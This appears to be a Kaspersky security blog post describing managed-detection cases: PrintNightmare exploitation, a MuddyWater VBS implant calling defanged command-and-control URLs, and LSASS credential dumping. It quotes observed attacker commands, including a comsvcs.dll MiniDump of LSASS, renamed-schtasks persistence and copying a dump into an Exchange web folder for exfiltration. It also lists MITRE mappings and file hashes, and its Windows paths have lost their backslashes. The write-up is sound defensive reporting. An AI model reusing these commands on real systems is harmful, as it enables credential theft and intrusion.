Kaspersky Managed Detection and Response: interesting cases

Kaspersky Managed Detection and Response (MDR) provides advanced protection against the growing number of threats that bypass automatic security barriers. Its capabilities are backed by a high-professional team of security analysts operating all over the world. Each suspicious security event is validated by our analysts complementing the automatic detection logic and letting us continuously improve the detection rules.

The MDR results allow us to map out the modern threat landscape and show techniques used by attackers right now. We share these results with you so that you are more informed about in-the-wild attacks and better prepared to respond.

PrintNightmare vulnerability exploitation

This summer, we witnessed a series of attacks using a dangerous vulnerability in the Windows Print Spooler service: CVE-2021-1675/CVE-2021-34527, also known as PrintNightmare. This vulnerability was published in June 2021 and allows attackers to add arbitrary printer drivers in the spooler service and thus remotely execute code on a vulnerable host under System privileges. We have already published the technical details of this vulnerability, and today we will talk about how MDR analysts detected and investigated attacks that exploit this vulnerability in real companies.

Case #1

Shortly after the PrintNightmare vulnerability was published, a detailed report with a technical description of the problem, as well as a working PoC exploit, was posted on GitHub by mistake. The repository was disconnected several hours later, but during this time several other users managed to clone it.

Kaspersky detected an attempt to exploit the PrintNightmare vulnerability using this publicly available tool. The MDR team observed a request to suspicious DLL libraries from the spooler service. It should be noted, that the file names used by the attacker were exactly the same as those available in the public exploit on GitHub.

Kaspersky detected suspicious DLL libraries (nightmare.dll) on the monitored host.
C:WindowsSystem32spooldriversx643nightmare.dll C:WindowsSystem32spooldriversx643old1nightmare.dll


In addition, the following script was found on the host.
cve-2021-1675-main-powershellcve-2021-1675-maincve-2021-1675.ps1

The table below contains signs of suspicious activity that served as a starting point for the investigation.

MITRE ATT&CK Technique
MDR telemetry event type used
Detection details
Description

T1210:
Exploitation of
Remote
Services
Local File Modification
Modified file path:
C:WindowsSystem32spooldriversx643old
1nightmare.dll
File modifier:
C:WindowsSystem32spoolsv.exe
Parent of the modifier:
C:WindowsSystem32services.exe
Legitimate spoolsv.exe
locally modified
c:windowssystem32
spooldriversx64
3old1nightmare.dll

T1588.005:
Obtain
Capabilities:
Exploits
AV exact detect in
OnAccess mode
File:
cve-2021-1675-main-powershellcve-2021-
1675-maincve-2021-1675.ps1
AV verdicts:
Exploit.Win64.CVE-2021-1675.c;
UDS:Exploit.Win64.CVE-2021-1675.c
CVE-2021-1675 exploit
was detected and
successfully deleted
by AM engine

Case #2

In another case, MDR analysts discovered a different attack scenario related to the exploitation of the PrintNightmare vulnerability. In particular, spooler service access to suspicious DLL files was observed. In addition, the spooler service executed some unusual commands and established a network connection. Based on the tools used by attackers, we presume that this activity was related to penetration testing.

MDR analyst detected the creation of suspicious DLL libraries using the certutil.exe tool on a monitored host.
After that, the spooler service was added to the planned tasks.
C:WindowsSystem32spooldriver
sx643newhello.dll
C:WindowsSystem32spooldriver
sx643newunidrv.dll…


Next, the spooler service called the newly created DLL files.
In addition, the attacker ran some of the created libraries using the rundll32 component.


Several hours later, a new wave of activity began. The Kaspersky MDR team detected a registry key modification that forces NTLMv1 authentication. It potentially allows NTLM hashes to be intercepted.
REGISTRYMACHINESYSTEMControl
Set001ControlLsaMSV1_0


Then the attacker re-added spooler to the planned tasks.
After that, execution of various commands on the host with System privileges was observed. The source of this activity was c:windowssystem32spoolsv.exe process
C:WindowsSystem32cmd.exe /c
net start spooler
C:WindowsSystem32cmd.exe /c
timeout 600 > NUL &&
net start spooler

The table below contains signs of suspicious activity that were the starting point for investigation.

MITRE ATT&CK Technique
MDR telemetry event type used
Detection details
Description

T1570:
Lateral Tool Transfer
Web AV exact detect in OnDownload mode
AV verdict: HEUR:Trojan.Win32.Shelma.gen
Attacker downloads
suspicious DLL (that is,
Meterpreter payload) via
HTTP

T1140:
Deobfuscate/Decode Files or Information
Local File Modification
Process command lines:
certutil  -decode 1.txt
C:Sharehello4.dll
Attacker used certutil
to decode text file into PE
binary

T1003.001:
OS Credential Dumping: LSASS Memory
AV exact detect in OnAccess mode
AV verdicts:
VHO:Trojan‑PSW.Win64.Mimikatz.gen
Trojan-PSW.Win32.Mimikatz.gen
Attacker tried to use
Mimikatz

T1127.001:
Trusted Developer Utilities Proxy Execution: MSBuild
Outbound network connection
Process command line:
C:WindowsMicrosoft.NETFrameworkv4
.0.30319MSBuild.exe  C:Share1.xml
MSBuild network activity

T1210:
Exploitation of Remote Services
Local File Modification
Modified file path:
C:WindowsSystem32spooldriversx64
3old1hello5.dllFile modifier:
C:WindowsSystem32spoolsv.exe
Parent of the modifier:
C:WindowsSystem32services.exe
Legitimate
spoolsv.exe locally
modified
c:windowssystem3
2spooldriversx6
43old1hello5.dll

T1547.012:
Boot or Logon Autostart Execution: Print Processors
T1033:
System Owner/User Discovery
Process start
Command line: whoami
Process integrity level: System
Parent process:
C:WINDOWSSystem32spoolsv.exe
Grandparent process:
C:WindowsSystem32services.exe
Legitimate
spoolsv.exe started
whoami with System
integrity level

T1547.012:
Boot or Logon Autostart Execution: Print Processors
Outbound network connection
Process command line:
C:WindowsSystem32spoolsv.exe
Remote TCP port: 4444/TCP
Legitimate
spoolsv.exe made a
connection to default
Meterpreter port
(4444/TCP)

T1547.012:
Boot or Logon Autostart Execution: Print Processors
T1059.003:
Command and Scripting Interpreter: Windows Command Shell
T1033:
System Owner/User Discovery
Process start
Command line: whoami
Process integrity level: System
Parent process:
C:WindowsSystem32cmd.exe
Grandparent process:
C:WindowsSystem32spoolsv.exe
Legitimate
spoolsv.exe started
cmd.exe that started
whoami with System
integrity level

MuddyWater attack

In this case, the Kaspersky MDR team detected a request from the customer’s infrastructure to a malicious APT related host. Further investigation allowed us to attribute this attack to the MuddyWater group. MuddyWater is a threat actor that first surfaced in 2017. This APT group mainly targets government agencies in Iraq, Saudi Arabia, Jordan, Turkey, Azerbaijan, and Pakistan. Kaspersky’s report on this group’s activity is available here.

Among other methods, the group uses VBS implants in phishing emails as an initial attack vector. During execution, the implant accesses URLs with a common structure to connect to the C2 server. The typical structure of the URL is provided below.


First of all, MDR analysts found a VBS implant from startup, presumably related to the MuddyWater group, to be running on the monitored host.
AppDataRoamingMicrosoftWindowsStart MenuProgramsStartupKLWB6.vbs


After script execution, some malicious resources were accessed. The structure of these URLs follows the common structure used by the MuddyWater group. In addition, the accessed IP address was observed in other attacks of this group.
hxxp://185[.]117[.]73[.]52:443/getTarget
Info?guid=xxx-yyy-zzz&status=1
hxxp://185[.]117[.]73[.]52:443/getComman
d?guid=xxx-yyy-zzz*


Next, execution of commands to collect information from the compromised host was observed.
“C:WindowsSystem32cmd.exe” /c
explorer.exe >>
c:ProgramDataapp_setting_readme.txt “C:WindowsSystem32cmd.exe” /c whoami >> c:ProgramDataapp_setting_readme.txt

* xxx is company short name (identifier), yyy is the victim hostname and zzz is username

Table below contains signs of suspicious activity that were the starting point for investigation.

MITRE ATT&CK Technique
MDR telemetry event type used
Detection details
Description

T1071:
Application Layer Protocol
Access to malicious hosts from nonbrowsers
Target URL:
hxxp://185[.]117[.]73[.]52:443/getTargetInfo?guid
=xxx-yyy-zzz&status=1
CMD line:
“C:WindowsSystem32WScript.exe” C:UsersUSERNAMEAppDataRoamingMicrosoftWindo
wsStart MenuProgramsStartupKLWB6.vbs
Process:
C:Windowssystem32wscript.exe
VBS script accessed malicious URL during execution

T1071:
Application Layer Protocol
URL exact detect
Malicious URL:
hxxp://185[.]117[.]73[.]52:443/getTargetInfo?guid
=xxx-yyy-zzz&status=1
AV verdict:
Malware
Malicious URL was successfully detected by AV

Credential Dumping from LSASS Memory

In the last case, we’d like to talk about an attack related to collecting credentials from the LSASS process memory dump (T1003.001 MITRE technique). Local Security Authority Subsystem Service (LSASS) stores a variety of credentials in process memory. These credentials can be harvested by System or administrative user and then used for attack development or lateral movement.

MDR analysts detected an attempt to dump the LSASS process memory on the monitored host, despite the fact that most of the attacker’s actions did not differ from the usual actions of the administrator. The attackers used two public tools (the first one was detected and blocked by an AV solution) to dump the LSASS process memory and export the obtained dump via Exchange server. In particular, the MDR team observed the download and execution of a suspicious DLL file (categorized as SSP) by LSASS.exe.


The attacker executed several recon commands to get more information about the host, and then ran commands to get the LSASS process ID.
C:WindowsSystem32tasklist.exe
C:WindowsSystem32findstr.exe /i sass


After that, the attacker tried to run a malicious tool to dump the process memory, but it was blocked by an endpoint protection solution.
“C:WindowsSystem32rundll32.exe”
C:WindowsSystem32comsvcs.dll MiniDump 616
c:programdatacdera.bin full

## 616 is LSASS process id


Then the attacker tried to dump the LSASS process memory using another tool. They unzipped an archive containing the resource.exe and twindump.dll files.
C:WindowsSystem32cmd.exe /C c:”program files”7-
zip7z.exe x -pKJERKL6j4dk&@1 c:programdatam.zip -o
c:windowscluster

## resource.exe and twindump.dll files were created


Subsequently, the file resource.exe was added to the planned tasks and executed. However, the attempt to obtain an LSASS dump was unsuccessful.
C:WindowsSystem32cmd.exe /C
C:WindowsSystem32staskes.exe /create /tn Ecoh /tr
“cmd /c C:Windowsclusterresource.exe
ase2af6das3fzc2 agasg2aa23gfdgd” /sc onstart /ru
system /F

## staskes.exe is a renamed schtasks.exe file


Later, one more attempt to perform this technique was made. The attacker unpacked an archive containing another malicious utility, and ran it the same way as previously. The created files are presumably related to the MirrorDump tool. As a result, the attacker successfully obtained an LSASS dump.
C:WindowsSystem32cmd.exe /C c:”program files”7-
zip7z.exe x -p”KJERfK#L6j4dk321″
c:programdataE.zip -o c:programdata
C:WindowsSystem32cmd.exe
/C c:windowssystem32staskes.exe /create /tn Ecoh /tr
“c:programdataInEnglish.exe g2@j5js1 0sdfs,48
C:programdataEnglishEDouble
C:programdataEnglishDDouble
C:programdataEnglish1.dll
C:programdataEnglish.dmp” /sc onstart /ru system /F C:WindowsSystem32cmd.exe /C c:windowssystem32staskes.exe /run /tn Ecoh


Then the obtained dump was exported to Exchange server. Afterwards, the attacker deleted all the created files.
C:WindowsSystem32cmd.exe /C copy
c:programdataEs.zip
c:Program FilesMicrosoftExchange ServerV14ClientAccessowaauthEs.png

Table below contains signs of suspicious activity that were the starting point for investigation.

MITRE ATT&CK Technique
MDR telemetry event type used
Detection details
Description

T1003.001:
OS Credential Dumping: LSASS Memory
AV exact detect
AV verdict:
PDM:Exploit.Win32.GenericProcess command line:
“C:WindowsSystem32rundll32.exe”
C:WindowsSystem32comsvcs.dll MiniDump
616 C:programdatacdera.bin full
Parent process command line:
C:WindowsSystem32wsmprovhost.exe –
Embedding
Grandparent process command line::
C:WindowsSystem32svchost.exe -k
DcomLaunchProcess logon type: 3 (Network logon)
Remotely executed
process memory dump
was detected by AM
engine
616 is LSASS process
PID

T1003.001:
OS Credential Dumping: LSASS Memory
Create section (load DLL)
Execute section (run DLL)
DLL name: C:programdataenglish1.dll
Process:  C:WindowsSystem32lsass.exe
Process PID: 616
Parent process: command line: C:WindowsSystem32wininit.exe
Process integrity level: System
Unknown DLL was loaded and executed within lsass.exe

T1003.001:
OS Credential Dumping: LSASS Memory
Inexact AV detect
Internal AV verdict: The file is Security Support
Provider (SSP)
File path: C:programdataenglish1.dll
Process: C:WindowsSystem32lsass.exe
Unknown DLL loaded to lsass is SSP

T1053.005:
Scheduled Task/Job: Scheduled Task
Create process
Process command line:
C:programdataInEnglish.exe g2@j5js1
0sdfs,48 C:programdataEnglishEDouble C:programdataEnglishDDouble
C:programdataEnglish1.dll
C:programdataEnglish.dmp
Parent process command line:
taskeng.exe {7725474B-D9EA-473D-B10D-
AC0572A0AA70} S-1-5-18:NT
AUTHORITYSystem:Service:
Grandparent process command line:
C:WindowsSystem32svchost.exe -k netsvcs
Process integrity level: System
Process user SID: S-1-5-18
Suspicious executable from C:programdata run as scheduled task under System privileges

Observed malicious files:

c:programdatae.zip
0x37630451944A1DD027F5A9B643790B10

c:programdataes.zip
0x3319BD8B628F8051506EE8FD4999C4C3

c:programdatam.zip
0xC15D90F8374393DA2533BAF7359E31F9

c:programdatainenglish.exe
0xCB15B1F707315FB61E667E0218F7784D

c:programdataenglish1.dll
0x358C5061B8DF0E0699E936A0F48EAFE1

c:windowsclusterresource.exe
0x872A776C523FC33888C410081A650070

c:windowsclustertwindump.dll
0xF980FD026610E4D0B31BAA5902785EDE

Conclusion

Attackers follow trends. They use any loophole to break into your corporate network. Sometimes they learn about new vulnerabilities in products earlier than security researchers do. Sometimes they hide so skillfully that their actions are indistinguishable from those of your employees or administrators.

Countering targeted attacks requires extensive experience as well as constant learning. Kaspersky Managed Detection and Response delivers fully managed, individually tailored ongoing detection, prioritization, investigation, and response. As a result, it provides all the major benefits from having your own security operations center without having to actually set one up.

Source:: Securelist